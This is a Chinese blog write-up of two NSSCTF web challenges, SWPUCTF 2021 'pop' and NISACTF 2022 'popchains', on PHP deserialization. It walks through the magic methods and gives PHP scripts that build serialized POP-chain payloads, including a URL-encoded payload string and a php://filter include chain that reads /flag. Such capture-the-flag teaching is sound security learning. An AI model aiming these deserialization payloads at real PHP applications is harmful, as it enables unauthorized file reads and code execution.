NSSCTF-Web题目17(反序列化)

发布于:2024-06-30 ⋅ 阅读:(14) ⋅ 点赞:(0)

目录

[SWPUCTF 2021 新生赛]pop

1、题目

2、知识点

3、思路

[NISACTF 2022]popchains

4、题目

5、知识点

6、思路


[SWPUCTF 2021 新生赛]pop

1、题目

2、知识点

php反序列化,代码审计

3、思路

打开题目

出现代码,接下来我们逐步对代码进行分析

1、先看第一个类:wllm4

这里类里面包含了Getflag()函数,里面有echo $flag,也就是说这个类是读取flag的

需要满足条件,变量admin=w44m,变量passwd=08067

2、第二个类:w22m

这里出现了一个析构函数,__destruct()

这个方法简而言之就是:当w22m调用完被销毁(释放内存)的时候会调用这个析构函数

题目这个析构函数会输出变量$w00m的内容

3、第三个类:w33m

这里出现了一个析构函数,__toString()

简而言之:当这个函数所在的类被当成字符串时就会被调用

类中有两个变量,$w00m $w22m,我们可以将类赋给w00m,将类中的方法赋给w22m,例如,实例化w44m这个类,调用GETflag函数,如下

$this->w00m->{$this->w22m}();变成 wllm4 Getflag();

4、

最后,我们需要通过GET方式上传一个w00m变量,需要进行序列化后上传

那么,问题来了,我们可以怎么调用wllm4类中的Getflag类得到flag呢?

通过上面的分析,w33m类可以调用类中的方法,那我们就可以将w44m类和Getflag函数分别传给w33m中的两个变量,那该如何调用w33m这个类呢,我们可以实例化w22m这个类,把w33m这个类赋给w22m类中的变量,我们可以定义一个变量,实例化w22m类

payload如下:

//先把类中的变量定义好,构造得到flag的条件

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a=new w22m; //实例化w222m类
$a->w00m=new w33m; //实例化w33m类,并赋给W22m类中的变量
$a->w00m->w00m= new w44m; //实例化w44m类,并赋给W33m类中的变量w00m
$a->w00m->w22m='Getflag'; //Getflag 赋给W33m类中的变量w22m

echo urlencode(serialize($a)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码

?>

?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D

得到flag:NSSCTF{116a39db-968e-4bf6-8b65-b0d4559d0f6f}


[NISACTF 2022]popchains

4、题目

5、知识点

反序列化,伪协议

6、思路

打开题目,出现源码,我们还是逐段分析

1、

这个需要我们使用GET方式上一个一个wish变量

2、 Road_is_Long类

这里出现了三个析构函数:

__construct:在类被实例化时调用

__wakeup:在类被反序列化之前调用,主要作用是对字符串进行检验,这里有一个正则表达式

__toString:类被当成字符串时被调用

这个类的意思:

变量page、变量string,当类被实例化是调用__construct,page=index.php

当类被当成字符串被调用时调用__toString,返回变量page、变量string的内容

3、 Try_Work_Hard类

出现一个析构函数__invoke:当对象被当成函数调用时 就调用这个析构函数

这个类的意思:

变量var,当这个类被当成函数调用时 就会将var的值被append()函数调用,变成

include($var),这里出现了include,我们可以使用php伪协议来构造payload,

php://filter/read=convert.base64-encode/resource=flag.php

这里就是获取flag的点

4、Make_a_Change类

__get:获取私有属性时被调用

这个类的意思是当调用私有属性时,__get会执行,然后将变量effort赋给变量function,返回一个函数结果

经过上面的分析,如果获取flag呢?重点在Try_Work_Hard类,变量var=php://filter/read=convert.base64-encode/resource=flag.php,当Try_Work_Hard类被当成函数执行时就可以执行append函数,

var是私有属性,刚好Make_a_Change类在调用私有属性时会将将变量当成函数返回,这里我们就可以将Try_Work_Hard 实例化赋给effort变量,

最后我们先实例化一个 Road_is_Long类,将Make_a_Change类的结果赋给string,然后再实例化 Road_is_Long类,将string传给新的对象,调用__toString函数,得到flag

payload如下:

<?php
class Road_is_Long{
    public $page;
    public $string;
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";
}

class Make_a_Change{
    public $effort;
}

$a=new Try_Work_Hard; //实例化Try_Work_Hard类
$b=new Make_a_Change; //实例化Make_a_Change类
$b->effort=$a; //将Try_Work_Hard类当成函数执行
$c=new Road_is_Long;  //先实例化第一个Road_is_Long类
$c->string=$b; 
$d=new Road_is_Long;  //先实例化第二个Road_is_Long类
$d->page=$c;   //获取Road_is_Long类的page

echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码

?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)

这里的提示的flag.php是错误的,没有内容回显,为什么是/flag,这个就是靠猜了

Base64解码 Base64编码 UTF8 GB2312 UTF16 GBK 二进制 十六进制 解密 - The X 在线工具 (the-x.cn)

得到flag:NSSCTF{213f8911-2408-4429-9a25-a564873795c3}


这篇文章就先写到这里了,哪里不懂的或者哪里不好的欢迎批评指正


网站公告

今日签到

点亮在社区的每一天
去签到